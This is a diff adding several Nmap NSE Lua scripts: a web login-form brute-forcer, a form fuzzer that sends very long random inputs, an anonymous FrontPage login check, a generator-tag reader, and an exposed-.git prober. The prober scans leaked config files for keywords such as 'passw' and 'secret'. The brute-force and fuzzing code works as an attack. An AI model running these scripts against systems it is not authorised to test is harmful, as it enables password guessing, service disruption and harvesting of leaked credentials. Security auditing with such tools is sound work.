+ if not pnfld and (name:match("^pass") or name:match("^key")) then
+ pnfld = fld
+ end
+ if not ptfld and fld.type and fld.type == "password" then
+ ptfld = fld
+ end
+ end
+ end
+ if pnfld or ptfld then
+ form.method = form.method or "GET"
+ form.uservar = (unfld or {}).name
+ form.passvar = (ptfld or pnfld).name
+ return form, nil, response.cookies
+ end
+ end
+
+ return nil, string.format("Unable to detect a login form at path %q", path)
+end
+
+-- TODO: expire cookies
+local function update_cookies (old, new)
+ for i, c in ipairs(new) do
+ local add = true
+ for j, oc in ipairs(old) do
+ if oc.name == c.name then
+ old[j] = c
+ add = false
+ break
+ end
+ end
+ if add then
+ table.insert(old, c)
+ end
+ end
+end
+
+-- make sure this path is ok as a form action.
+-- Also make sure we stay on the same host.
+local function path_ok (path, hostname, port)
+ local pparts = url.parse(path)
+ if pparts.authority then
+ if pparts.userinfo
+ or ( pparts.host ~= hostname )
+ or ( pparts.port and pparts.port ~= port.number ) then
+ return false
+ end
+ end
+ return true
+end
+
+Driver = {
+
+ new = function (self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ if not options.http_options then
+ -- we need to supply the no_cache directive, or else the http library
+ -- incorrectly tells us that the authentication was successful
+ options.http_options = {
+ no_cache = true,
+ bypass_cache = true,
+ redirect_ok = false,
+ cookies = options.cookies,
+ header = {
+ -- nil just means not set, so default http.lua behavior
+ Host = options.hostname,
+ ["Content-Type"] = "application/x-www-form-urlencoded"
+ }
+ }
+ end
+ o.host = host
+ o.port = port
+ o.options = options
+ -- each thread may store its params table here under its thread id
+ options.threads = options.threads or {}
+ return o
+ end,
+
+ connect = function (self)
+ -- This will cause problems, as there is no way for us to "reserve"
+ -- a socket. We may end up here early with a set of credentials
+ -- which won't be guessed until the end, due to socket exhaustion.
+ return true
+ end,
+
+ submit_form = function (self, username, password)
+ local path = self.options.path
+ local tid = stdnse.gettid()
+ local thread = self.options.threads[tid]
+ if not thread then
+ thread = {
+ -- copy of form fields so we don't clobber another thread's passvar
+ params = tableaux.tcopy(self.options.formfields),
+ -- copy of options so we don't clobber another thread's cookies
+ opts = tableaux.tcopy(self.options.http_options),
+ }
+ self.options.threads[tid] = thread
+ end
+ if self.options.sessioncookies and not (thread.opts.cookies and next(thread.opts.cookies)) then
+ -- grab new session cookies
+ local form, errmsg, cookies = detect_form(self.host, self.port, path, self.options.hostname)
+ if not form then
+ stdnse.debug1("Failed to get new session cookies: %s", errmsg)
+ else
+ thread.opts.cookies = cookies
+ thread.params = form.fields
+ end
+ end
+ local params = thread.params
+ local opts = thread.opts
+ local response
+ if self.options.method == "POST" then
+ response = http.post(self.host, self.port, path, opts, nil,
+ urlencode_form(params, self.options.uservar, username, self.options.passvar, password))
+ else
+ local uri = path
+ .. (path:find("?", 1, true) and "&" or "?")
+ .. urlencode_form(params, self.options.uservar, username, self.options.passvar, password)
+ response = http.get(self.host, self.port, uri, opts)
+ end
+ local rcount = 0
+ while response do
+ if self.options.is_success and self.options.is_success(response) then
+ -- "log out"
+ opts.cookies = nil
+ return response, true
+ end
+ -- set cookies
+ update_cookies(opts.cookies, response.cookies)
+ if self.options.is_failure and self.options.is_failure(response) then
+ return response, false
+ end
+ local status = tonumber(response.status) or 0
+ local rpath = response.header.location
+ if not (status > 300 and status < 400 and rpath and rcount < max_rcount) then
+ break
+ end
+ rcount = rcount + 1
+ path = url.absolute(path, rpath)
+ if path_ok(path, self.options.hostname, self.port) then
+ -- clean up the url (cookie check fails if path contains hostname)
+ -- this strips off the smallest prefix followed by a non-doubled /
+ path = path:gsub("^.-%f[/](/%f[^/])","%1")
+ response = http.get(self.host, self.port, path, opts)
+ else
+ -- being redirected off-host. Stop and assume failure.
+ response = nil
+ end
+ end
+ if response and self.options.is_failure then
+ -- "log out" to avoid dumb login attempt limits
+ opts.cookies = nil
+ end
+ -- Neither is_success nor is-failure condition applied. The login is deemed
+ -- a success if the script is looking for a failure (which did not occur).
+ return response, (response and self.options.is_failure)
+ end,
+
+ login = function (self, username, password)
+ local response, success = self:submit_form(username, password)
+ if not response then
+ local err = brute.Error:new("Form submission failed")
+ err:setRetry(true)
+ return false, err
+ end
+ if not success then
+ return false, brute.Error:new("Incorrect password")
+ end
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end,
+
+ disconnect = function (self)
+ return true
+ end,
+
+ check = function (self)
+ return true
+ end,
+
+}
+
+
+action = function (host, port)
+ local path = stdnse.get_script_args('http-form-brute.path') or "/"
+ local method = stdnse.get_script_args('http-form-brute.method')
+ local uservar = stdnse.get_script_args('http-form-brute.uservar')
+ local passvar = stdnse.get_script_args('http-form-brute.passvar')
+ local onsuccess = stdnse.get_script_args('http-form-brute.onsuccess')
+ local onfailure = stdnse.get_script_args('http-form-brute.onfailure')
+ local hostname = stdnse.get_script_args('http-form-brute.hostname') or stdnse.get_hostname(host)
+ local sessioncookies = stdnse.get_script_args('http-form-brute.sessioncookies')
+ -- Originally intended more granular control with "always" or other strings
+ -- to say when to grab new session cookies. For now, only boolean, though.
+ if not sessioncookies then
+ sessioncookies = true
+ elseif sessioncookies == "false" then
+ sessioncookies = false
+ end
+
+ local formfields = {}
+ local cookies = {}
+ if not passvar then
+ local form, errmsg, dcookies = detect_form(host, port, path, hostname)
+ if not form then
+ return stdnse.format_output(false, errmsg)
+ end
+ path = form.action and url.absolute(path, form.action) or path
+ method = method or form.method
+ uservar = uservar or form.uservar
+ passvar = passvar or form.passvar
+ onsuccess = onsuccess or form.onsuccess
+ onfailure = onfailure or form.onfailure
+ formfields = form.fields or formfields
+ cookies = dcookies or cookies
+ sessioncookies = form.sessioncookies == nil and sessioncookies or form.sessioncookies
+ end
+
+ -- path should not change the origin
+ if not path_ok(path, hostname, port) then
+ return stdnse.format_output(false, string.format("Unusable form action %q", path))
+ end
+ stdnse.debug(form_debug, "Form submission path: %s", path)
+
+ -- HTTP method POST is the default
+ method = string.upper(method or "POST")
+ if not (method == "GET" or method == "POST") then
+ return stdnse.format_output(false, string.format("Invalid HTTP method %q", method))
+ end
+ stdnse.debug(form_debug, "HTTP method: %s", method)
+
+ -- passvar must be specified or detected, uservar is optional
+ if not passvar then
+ return stdnse.format_output(false, "No passvar was specified or detected (see http-form-brute.passvar)")
+ end
+ stdnse.debug(form_debug, "Username field: %s", uservar or "(not set)")
+ stdnse.debug(form_debug, "Password field: %s", passvar)
+
+ if onsuccess and onfailure then
+ return stdnse.format_output(false, "Either the onsuccess or onfailure argument should be passed, not both.")
+ end
+
+ -- convert onsuccess and onfailure to functions
+ local is_success = onsuccess and (
+ type(onsuccess) == "function" and onsuccess
+ or function (response)
+ return http.response_contains(response, onsuccess, true)
+ end
+ )
+ local is_failure = onfailure and (
+ type(onfailure) == "function" and onfailure
+ or function (response)
+ return http.response_contains(response, onfailure, true)
+ end
+ )
+ -- the fallback test is to look for passvar field in the response
+ if not (is_success or is_failure) then
+ is_failure = function (response)
+ return response.body and contains_form_field(response.body, passvar)
+ end
+ end
+
+ local options = {
+ path = path,
+ method = method,
+ uservar = uservar,
+ passvar = passvar,
+ is_success = is_success,
+ is_failure = is_failure,
+ hostname = hostname,
+ formfields = formfields,
+ cookies = cookies,
+ sessioncookies = sessioncookies,
+ }
+
+ -- validate that the form submission behaves as expected
+ local username = uservar and rand.random_alpha(8)
+ local password = rand.random_alpha(8)
+ local testdrv = Driver:new(host, port, options)
+ local response, success = testdrv:submit_form(username, password)
+ if not response then
+ return stdnse.format_output(false, string.format("Failed to submit the form to path %q", path))
+ end
+ if success then
+ return stdnse.format_output(false, "Failed to recognize failed authentication. See http-form-brute.onsuccess and http-form-brute.onfailure")
+ end
+
+ local engine = brute.Engine:new(Driver, host, port, options)
+ -- there's a bug in http.lua that does not allow it to be called by
+ -- multiple threads
+ -- TODO: is this even true any more? We should fix it if not.
+ engine:setMaxThreads(1)
+ engine.options.script_name = SCRIPT_NAME
+ engine.options:setOption("passonly", not uservar)
+
+ local status, result = engine:start()
+ return result
+end
diff --git a/scripts/http-form-fuzzer.nse b/scripts/http-form-fuzzer.nse
new file mode 100644
index 0000000..6c1e3cc
--- /dev/null
+++ b/scripts/http-form-fuzzer.nse
@@ -0,0 +1,204 @@
+description = [[
+Performs a simple form fuzzing against forms found on websites.
+Tries strings and numbers of increasing length and attempts to
+determine if the fuzzing was successful.
+]]
+
+---
+-- @usage
+-- nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 <host>
+--
+-- This script attempts to fuzz fields in forms it detects (it fuzzes one field at a time).
+-- In each iteration it first tries to fuzz a field with a string, then with a number.
+-- In the output, actions and paths for which errors were observed are listed, along with
+-- names of fields that were being fuzzed during error occurrence. Length and type
+-- (string/integer) of the input that caused the error are also provided.
+-- We consider an error to be either: a response with status 500 or with an empty body,
+-- a response that contains "server error" or "sql error" strings. ATM anything other than
+-- that is considered not to be an 'error'.
+-- TODO: develop more sophisticated techniques that will let us determine if the fuzzing was
+-- successful (i.e. we got an 'error'). Ideally, an algorithm that will tell us a percentage
+-- difference between responses should be implemented.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-form-fuzzer:
+-- | Path: /register.html Action: /validate.php
+-- | age
+-- | integer lengths that caused errors:
+-- | 10000, 10001
+-- | name
+-- | string lengths that caused errors:
+-- | 40000
+-- | Path: /form.html Action: /check_form.php
+-- | fieldfoo
+-- | integer lengths that caused errors:
+-- |_ 1, 2
+--
+-- @args http-form-fuzzer.targets a table with the targets of fuzzing, for example
+-- {{path = /index.html, minlength = 40002}, {path = /foo.html, maxlength = 10000}}.
+-- The path parameter is required, if minlength or maxlength is not specified,
+-- then the values of http-form-fuzzer.minlength or http-form-fuzzer.maxlength will be used.
+-- Defaults to {{path="/"}}
+-- @args http-form-fuzzer.minlength the minimum length of a string that will be used for fuzzing,
+-- defaults to 300000
+-- @args http-form-fuzzer.maxlength the maximum length of a string that will be used for fuzzing,
+-- defaults to 310000
+--
+
+author = {"Piotr Olma", "Gioacchino Mazzurco"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"fuzzer", "intrusive"}
+
+local shortport = require 'shortport'
+local http = require 'http'
+local httpspider = require 'httpspider'
+local stdnse = require 'stdnse'
+local string = require 'string'
+local table = require 'table'
+local url = require 'url'
+local rand = require 'rand'
+
+-- check if the response we got indicates that fuzzing was successful
+local function check_response(response)
+ if not(response.body) or response.status==500 then
+ return true
+ end
+ if response.body:find("[Ss][Ee][Rr][Vv][Ee][Rr]%s*[Ee][Rr][Rr][Oo][Rr]") or response.body:find("[Ss][Qq][Ll]%s*[Ee][Rr][Rr][Oo][Rr]") then
+ return true
+ end
+ return false
+end
+
+-- check from response if request was too big
+local function request_too_big(response)
+ return response.status==413 or response.status==414
+end
+
+-- checks if a field is of type we want to fuzz
+local function fuzzable(field_type)
+ return field_type=="text" or field_type=="radio" or field_type=="checkbox" or field_type=="textarea"
+end
+
+-- generates postdata with value of "sampleString" for every field (that is fuzzable()) of a form
+local function generate_safe_postdata(form)
+ local postdata = {}
+ for _,field in ipairs(form["fields"]) do
+ if fuzzable(field["type"]) then
+ postdata[field["name"]] = "sampleString"
+ end
+ end
+ return postdata
+end
+
+-- generate a charset of characters with ascii codes from 33 to 126
+-- you can use http://www.asciitable.com/ to see which characters those actually are
+local charset = rand.charset(33,126)
+local charset_number = rand.charset(49,57) -- ascii 49 -> 1; 57 -> 9
+
+local function fuzz_form(form, minlen, maxlen, host, port, path)
+ local affected_fields = {}
+ local postdata = generate_safe_postdata(form)
+ local action_absolute = httpspider.LinkExtractor.isAbsolute(form["action"])
+
+ -- determine the path where the form needs to be submitted
+ local form_submission_path
+ if action_absolute then
+ form_submission_path = form["action"]
+ else
+ local path_cropped = string.match(path, "(.*/).*")
+ path_cropped = path_cropped and path_cropped or ""
+ form_submission_path = path_cropped..form["action"]
+ end
+
+ -- determine should the form be sent by post or get
+ local sending_function
+ if form["method"]=="post" then
+ sending_function = function(data) return http.post(host, port, form_submission_path, nil, nil, data) end
+ else
+ sending_function = function(data) return http.get(host, port, form_submission_path.."?"..url.build_query(data), {no_cache=true, bypass_cache=true}) end
+ end
+
+ local function fuzz_field(field)
+ local affected_string = {}
+ local affected_int = {}
+
+ for i=minlen,maxlen do -- maybe a better idea would be to increment the string's length by more then 1 in each step
+ local response_string
+ local response_number
+
+ --first try to fuzz with a string
+ postdata[field["name"]] = rand.random_string(i, charset)
+ response_string = sending_function(postdata)
+ --then with a number
+ postdata[field["name"]] = rand.random_string(i, charset_number)
+ response_number = sending_function(postdata)
+
+ if check_response(response_string) then
+ affected_string[#affected_string+1]=i
+ elseif request_too_big(response_string) then
+ maxlen = i-1
+ break
+ end
+
+ if check_response(response_number) then
+ affected_int[#affected_int+1]=i
+ elseif request_too_big(response_number) then
+ maxlen = i-1
+ break
+ end
+ end
+ postdata[field["name"]] = "sampleString"
+ return affected_string, affected_int
+ end
+
+ for _,field in ipairs(form["fields"]) do
+ if fuzzable(field["type"]) then
+ local affected_string, affected_int = fuzz_field(field, minlen, maxlen, postdata, sending_function)
+ if #affected_string > 0 or #affected_int > 0 then
+ local affected_next_index = #affected_fields+1
+ affected_fields[affected_next_index] = {name = field["name"]}
+ if #affected_string>0 then
+ table.insert(affected_fields[affected_next_index], {name="string lengths that caused errors:", table.concat(affected_string, ", ")})
+ end
+ if #affected_int>0 then
+ table.insert(affected_fields[affected_next_index], {name="integer lengths that caused errors:", table.concat(affected_int, ", ")})
+ end
+ end
+ end
+ end
+ return affected_fields
+end
+
+portrule = shortport.http
+
+function action(host, port)
+ local targets = stdnse.get_script_args('http-form-fuzzer.targets') or {{path="/"}}
+ local return_table = {}
+ local minlen = stdnse.get_script_args("http-form-fuzzer.minlength") or 300000
+ local maxlen = stdnse.get_script_args("http-form-fuzzer.maxlength") or 310000
+
+ for _,target in pairs(targets) do
+ stdnse.debug2("testing path: "..target["path"])
+ local path = target["path"]
+ if path then
+ local response = http.get( host, port, path )
+ local all_forms = http.grab_forms(response.body)
+ minlen = target["minlength"] or minlen
+ maxlen = target["maxlength"] or maxlen
+ for _,form_plain in ipairs(all_forms) do
+ local form = http.parse_form(form_plain)
+ if form and form.action then
+ local affected_fields = fuzz_form(form, minlen, maxlen, host, port, path)
+ if #affected_fields > 0 then
+ affected_fields["name"] = "Path: "..path.." Action: "..form["action"]
+ table.insert(return_table, affected_fields)
+ end
+ end
+ end
+ end
+ end
+ return stdnse.format_output(true, return_table)
+end
+
diff --git a/scripts/http-frontpage-login.nse b/scripts/http-frontpage-login.nse
new file mode 100644
index 0000000..cb2cf95
--- /dev/null
+++ b/scripts/http-frontpage-login.nse
@@ -0,0 +1,84 @@
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local http = require "http"
+local string = require "string"
+local vulns = require "vulns"
+
+
+description = [[
+Checks whether target machines are vulnerable to anonymous Frontpage login.
+
+Older, default configurations of Frontpage extensions allow
+remote user to login anonymously which may lead to server compromise.
+
+ ]]
+
+---
+-- @usage
+-- nmap <target> -p 80 --script=http-frontpage-login
+--
+-- @args http-frontpage-login.path Path prefix to Frontpage directories. Defaults
+-- to root ("/").
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-frontpage-login:
+-- | VULNERABLE:
+-- | Frontpage extension anonymous login
+-- | State: VULNERABLE
+-- | Description:
+-- | Default installations of older versions of frontpage extensions allow anonymous logins which can lead to server compromise.
+-- |
+-- | References:
+-- |_ http://insecure.org/sploits/Microsoft.frontpage.insecurities.html
+
+author = "Aleksandar Nikolic"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"vuln", "safe"}
+
+portrule = shortport.http
+
+action = function(host, port)
+ local path = stdnse.get_script_args('http-frontpage-login.path') or "/"
+ local data
+ local frontpage_vuln = {
+ title = "Frontpage extension anonymous login",
+
+ description = [[
+Default installations of older versions of frontpage extensions allow anonymous logins which can lead to server compromise.
+]],
+ references = {
+ 'http://insecure.org/sploits/Microsoft.frontpage.insecurities.html',
+ },
+ state = vulns.STATE.NOT_VULN,
+ };
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port);
+
+ data = http.get( host, port, path .. "/_vti_inf.html" )
+
+ if data and data.status and data.status == 200 then
+ --server does support frontpage extensions
+ local fp_version = string.match(data.body,"FPVersion=\"[%d%.]*\"")
+ if fp_version then
+ -- do post request http://msdn.microsoft.com/en-us/library/ms446353
+ local postdata = "method=open+service:".. fp_version .."&service_name=/"
+ data = http.post(host,port,path .. "/_vti_bin/_vti_aut/author.dll",nil,nil,postdata)
+ if data and data.status then
+ if data.status == 200 then
+ stdnse.debug1("Frontpage returned 200 OK, server vulnerable.")
+ frontpage_vuln.state = vulns.STATE.VULN;
+ elseif data.status == 401 then
+ stdnse.debug1("Frontpage returned 401, password protected.")
+ else
+ stdnse.debug1("Frontpage returned unknown response.")
+ end
+ end
+ end
+ end
+ stdnse.debug1("Frontpage probably not installed.")
+ return report:make_output(frontpage_vuln);
+end
diff --git a/scripts/http-generator.nse b/scripts/http-generator.nse
new file mode 100644
index 0000000..649749b
--- /dev/null
+++ b/scripts/http-generator.nse
@@ -0,0 +1,62 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+
+description = [[
+Displays the contents of the "generator" meta tag of a web page (default: /)
+if there is one.
+]]
+
+author = "Michael Kohl"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+---
+-- @usage
+-- nmap --script http-generator [--script-args http-generator.path=<path>,http-generator.redirects=<number>,...] <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- |_http-generator: TYPO3 4.2 CMS
+-- 443/tcp open https
+-- |_http-generator: TYPO3 4.2 CMS
+--
+-- @args http-generator.path Specify the path you want to check for a generator meta tag (default to '/').
+-- @args http-generator.redirects Specify the maximum number of redirects to follow (defaults to 3).
+
+-- Changelog:
+-- 2011-12-23 Michael Kohl <citizen428@gmail.com>:
+-- + Initial version
+-- 2012-01-10 Michael Kohl <citizen428@gmail.com>:
+-- + update documentation
+-- + make pattern case insensitive
+-- + only follow first redirect
+-- 2012-01-11 Michael Kohl <citizen428@gmail.com>:
+-- + more generic pattern
+-- + simplified matching
+-- 2012-01-13 Michael Kohl <citizen428@gmail.com>:
+-- + add http-generator.path argument
+-- + add http-generator.redirects argument
+-- + restructure redirect handling
+-- + improve redirect pattern
+-- + update documentation
+-- + add changelog
+-- 2014-07-29 Fabian Affolter <fabian@affolter-engineering.ch>:
+-- + update generator pattern
+
+portrule = shortport.http
+
+action = function(host, port)
+ local response, loc, generator
+ local path = stdnse.get_script_args('http-generator.path') or '/'
+ local redirects = tonumber(stdnse.get_script_args('http-generator.redirects')) or 3
+
+ -- Worst case: <meta name=Generator content="Microsoft Word 11">
+ local pattern = stringaux.ipattern('<meta name=[\"\']?generator[\"\']? content=[\"\']([^\"\']*)[\"\'] ?/?>')
+ response = http.get(host, port, path, {redirect_ok=redirects})
+ if ( response and response.body ) then
+ return response.body:match(pattern)
+ end
+end
diff --git a/scripts/http-git.nse b/scripts/http-git.nse
new file mode 100644
index 0000000..26bb22a
--- /dev/null
+++ b/scripts/http-git.nse
@@ -0,0 +1,309 @@
+local http = require("http")
+local shortport = require("shortport")
+local stdnse = require("stdnse")
+local string = require("string")
+local table = require("table")
+
+description = [[
+Checks for a Git repository found in a website's document root
+/.git/<something>) and retrieves as much repo information as
+possible, including language/framework, remotes, last commit
+message, and repository description.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-git:
+-- | 127.0.0.1:80/.git/
+-- | Git repository found!
+-- | .git/config matched patterns 'passw'
+-- | Repository description: Unnamed repository; edit this file 'description' to name the...
+-- | Remotes:
+-- | http://github.com/someuser/somerepo
+-- | Project type: Ruby on Rails web application (guessed from .git/info/exclude)
+-- | 127.0.0.1:80/damagedrepository/.git/
+-- |_ Potential Git repository found (found 2/6 expected files)
+--
+-- @args http-git.root URL path to search for a .git directory. Default: /
+--
+-- @xmloutput
+-- <table key="127.0.0.1:80/.git/">
+-- <table key="remotes">
+-- <elem>http://github.com/anotherperson/anotherepo</elem>
+-- </table>
+-- <table key="project-type">
+-- <table key=".git/info/exclude">
+-- <elem>JBoss Java web application</elem>
+-- <elem>Java application</elem>
+-- </table>
+-- </table>
+-- <elem key="repository-description">A nice repository</elem>
+-- <table key="files-found">
+-- <elem key=".git/COMMIT_EDITMSG">false</elem>
+-- <elem key=".git/info/exclude">true</elem>
+-- <elem key=".git/config">true</elem>
+-- <elem key=".git/description">true</elem>
+-- <elem key=".gitignore">false</elem>
+-- </table>
+-- <table key="interesting-matches">
+-- <table key=".git/config">
+-- <elem>passw</elem>
+-- </table>
+-- </table>
+-- </table>
+
+categories = { "default", "safe", "vuln" }
+author = "Alex Weber"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+portrule = shortport.http
+
+-- We consider 200 to mean "okay, file exists and we received its contents".
+local STATUS_OK = 200
+-- Long strings (like a repository's description) will be truncated to this
+-- number of characters in normal output.
+local TRUNC_LENGTH = 60
+
+function action(host, port)
+ local out
+
+ -- We can accept a single root, or a table of roots to try
+ local root_arg = stdnse.get_script_args("http-git.root")
+ local roots
+ if type(root_arg) == "table" then
+ roots = root_arg
+ elseif type(root_arg) == "string" or type(root_arg) == "number" then
+ roots = { tostring(root_arg) }
+ elseif root_arg == nil then -- if we didn't get an argument
+ roots = { "/" }
+ end
+
+ -- Try each root in succession
+ for _, root in ipairs(roots) do
+ root = tostring(root)
+ root = root or '/'
+
+ -- Put a forward slash on the beginning and end of the root, if none was
+ -- provided. We will print this, so the user will know that we've mangled it
+ if not string.find(root, "/$") then -- if there is no slash at the end
+ root = root .. "/"
+ end
+ if not string.find(root, "^/") then -- if there is no slash at the beginning
+ root = "/" .. root
+ end
+
+ -- If we can't get a valid /.git/HEAD, don't even bother continuing
+ -- We could try for /.git/, but we will not get a 200 if directory
+ -- listings are disallowed.
+ local resp = http.get(host, port, root .. ".git/HEAD")
+ local sha1_pattern = "^%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
+ if resp.status == STATUS_OK and ( resp.body:match("^ref: ") or resp.body:match(sha1_pattern) ) then
+ out = out or {}
+ local replies = {}
+ -- This function returns true if we got a 200 OK when
+ -- fetching 'filename' from the server
+ local function ok(filename)
+ return (replies[filename].status == STATUS_OK)
+ end
+ -- These are files that are small, very common, and don't
+ -- require zlib to read
+ -- These files are created by creating and using the repository,
+ -- or by popular development frameworks.
+ local repo = {
+ ".gitignore",
+ ".git/COMMIT_EDITMSG",
+ ".git/config",
+ ".git/description",
+ ".git/info/exclude",
+ }
+
+ local pl_requests = {} -- pl_requests = pipelined requests (temp)
+ -- Go through all of the filenames and do an HTTP GET
+ for _, name in ipairs(repo) do -- for every filename
+ http.pipeline_add(root .. name, nil, pl_requests)
+ end
+ -- Do the requests.
+ replies = http.pipeline_go(host, port, pl_requests)
+ if replies == nil then
+ stdnse.debug1("pipeline_go() error. Aborting.")
+ return nil
+ end
+
+ for i, reply in ipairs(replies) do
+ -- We want this to be indexed by filename, not an integer, so we convert it
+ -- We added to the pipeline in the same order as the filenames, so this is safe.
+ replies[repo[i]] = reply -- create index by filename
+ replies[i] = nil -- delete integer-indexed entry
+ end
+
+ -- Mark each file that we tried to get as 'found' (true) or 'not found' (false).
+ local location = host.ip .. ":" .. port.number .. root .. ".git/"
+ out[location] = {}
+ -- A nice shortcut
+ local loc = out[location]
+ loc["files-found"] = {}
+ for name, _ in pairs(replies) do
+ loc["files-found"][name] = ok(name)
+ end
+
+ -- Look through all the repo files we grabbed and see if we can find anything interesting.
+ local interesting = { "bug", "key", "passw", "pw", "user", "secret", "uid" }
+ for name, reply in pairs(replies) do
+ if ok(name) then
+ for _, pattern in ipairs(interesting) do
+ if string.match(reply.body, pattern) then
+ -- A Lua idiom - don't create this table until we actually have something to put in it
+ loc["interesting-matches"] = loc["interesting-matches"] or {}
+ loc["interesting-matches"][name] = loc["interesting-matches"][name] or {}
+ table.insert(loc["interesting-matches"][name], pattern)
+ end
+ end
+ end
+ end
+
+ if ok(".git/COMMIT_EDITMSG") then
+ loc["last-commit-message"] = replies[".git/COMMIT_EDITMSG"].body
+ end
+
+ if ok(".git/description") then
+ loc["repository-description"] = replies[".git/description"].body
+ end
+
+ -- .git/config contains a list of remotes, so we try to extract them.
+ if ok(".git/config") then
+ local config = replies[".git/config"].body
+ local remotes = {}
+
+ -- Try to extract URLs of all remotes.
+ for url in string.gmatch(config, "\n%s*url%s*=%s*(%S*/%S*)") do
+ table.insert(remotes, url)
+ end
+
+ for _, url in ipairs(remotes) do
+ loc["remotes"] = loc["remotes"] or {}
+ table.insert(loc["remotes"], url)
+ end
+ end
+
+ -- These are files that are used by Git to determine what files to ignore.
+ -- We use this list to make the loop below (used to determine what kind of
+ -- application is in the repository) more generic.
+ local ignorefiles = {
+ ".gitignore",
+ ".git/info/exclude",
+ }
+ local fingerprints = {
+ -- Many of these taken from https://github.com/github/gitignore
+ { "%.scala_dependencies", "Scala application" },
+ { "npm%-debug%.log", "node.js application" },
+ { "joomla%.xml", "Joomla! site" },
+ { "jboss/server", "JBoss Java web application" },
+ { "wp%-%*%.php", "WordPress site" },
+ { "app/config/database%.php", "CakePHP web application" },
+ { "sites/default/settings%.php", "Drupal site" },
+ { "local_settings%.py", "Django web application" },
+ { "/%.bundle", "Ruby on Rails web application" }, -- More specific matches (MyFaces > JSF > Java) on top
+ { "%.py[dco]", "Python application" },
+ { "%.jsp", "JSP web application" },
+ { "%.bundle", "Ruby application" },
+ { "%.class", "Java application" },
+ { "%.php", "PHP application" },
+ }
+ -- The XML produced here is divided by ignorefile and is sorted from first to last
+ -- in order of specificity. e.g. All JBoss applications are Java applications,
+ -- but not all Java applications are JBoss. In that case, JBoss and Java will
+ -- be output, but JBoss will be listed first.
+ for _, file in ipairs(ignorefiles) do
+ if ok(file) then -- We only test all fingerprints if we got the file.
+ for _, fingerprint in ipairs(fingerprints) do
+ if string.match(replies[file].body, fingerprint[1]) then
+ loc["project-type"] = loc["project-type"] or {}
+ loc["project-type"][file] = loc["project-type"][file] or {}
+ table.insert(loc["project-type"][file], fingerprint[2])
+ end
+ end
+ end
+ end
+ end
+ end
+
+ -- If we didn't get anything, we return early. No point doing the
+ -- normal formatting!
+ if out == nil then
+ return nil
+ end
+
+ -- Truncate to TRUNC_LENGTH characters and replace control characters (newlines, etc) with spaces.
+ local function summarize(str)
+ str = stdnse.string_or_blank(str, "<unknown>")
+ local original_length = #str
+ str = string.sub(str, 1, TRUNC_LENGTH)
+ str = string.gsub(str, "%c", " ")
+ if original_length > TRUNC_LENGTH then
+ str = str .. "..."
+ end
+ return str
+ end
+
+ -- We convert the full output to pretty output for -oN
+ local normalout
+ for location, info in pairs(out) do
+ normalout = normalout or {}
+ -- This table gets converted to a string format_output, and then inserted into the 'normalout' table
+ local new = {}
+ -- Headings for each place we found a repo
+ new["name"] = location
+
+ -- How sure are we that this is a Git repository?
+ local count = { tried = 0, ok = 0 }
+ for _, found in pairs(info["files-found"]) do
+ count.tried = count.tried + 1
+ if found then count.ok = count.ok + 1 end
+ end
+
+ -- If 3 or more of the files we were looking for are not on the server,
+ -- we are less confident that we got a real Git repository
+ if count.tried - count.ok <= 2 then
+ table.insert(new, "Git repository found!")
+ else -- We already got .git/HEAD, so we add 1 to 'tried' and 'ok'
+ table.insert(new, "Potential Git repository found (found " .. (count.ok + 1) .. "/" .. (count.tried + 1) .. " expected files)")
+ end
+
+ -- Show what patterns matched what files
+ for name, matches in pairs(info["interesting-matches"] or {}) do
+ table.insert(new, ("%s matched patterns '%s'"):format(name, table.concat(matches, "' '")))
+ end
+
+ if info["repository-description"] then
+ table.insert(new, "Repository description: " .. summarize(info["repository-description"]))
+ end
+
+ if info["last-commit-message"] then
+ table.insert(new, "Last commit message: " .. summarize(info["last-commit-message"]))
+ end
+
+ -- If we found any remotes in .git/config, process them now
+ if info["remotes"] then
+ local old_name = info["remotes"]["name"] -- in case 'name' is a remote
+ info["remotes"]["name"] = "Remotes:"
+ -- Remove the newline from format_output's output - it looks funny with it
+ local temp = string.gsub(stdnse.format_output(true, info["remotes"]), "^\n", "")
+ -- using 'temp' here because gsub() has multiple return values that insert() will try
+ -- to use, and I don't know of a better way to prevent that ;)
+ table.insert(new, temp)
+ info["remotes"]["name"] = old_name
+ end
+
+ -- Take the first guessed project type from each ignorefile
+ if info["project-type"] then
+ for name, types in pairs(info["project-type"]) do
+ table.insert(new, "Project type: " .. types[1] .. " (guessed from " .. name .. ")")
+ end
+ end
+ -- Insert this location's information.
+ table.insert(normalout, new)
+ end
+
+ return out, stdnse.format_output(true, normalout)
+end
diff --git a/scripts/http-gitweb-projects-enum.nse b/scripts/http-gitweb-projects-enum.nse
new file mode 100644
index 0000000..306fb33
--- /dev/null
+++ b/scripts/http-gitweb-projects-enum.nse
@@ -0,0 +1,106 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+
+description=[[
+Retrieves a list of Git projects, owners and descriptions from a gitweb (web interface to the Git revision control system).
+]]
+
+---
+-- @usage
+-- nmap -p80 www.example.com --script http-gitweb-projects-enum
+--
+-- @output
+-- 80/tcp open http
+-- | http-gitweb-projects-enum:
+-- | Projects from gitweb.samba.org:
+-- | PROJECT AUTHOR DESCRIPTION
+-- | sando.git authornum1 no description
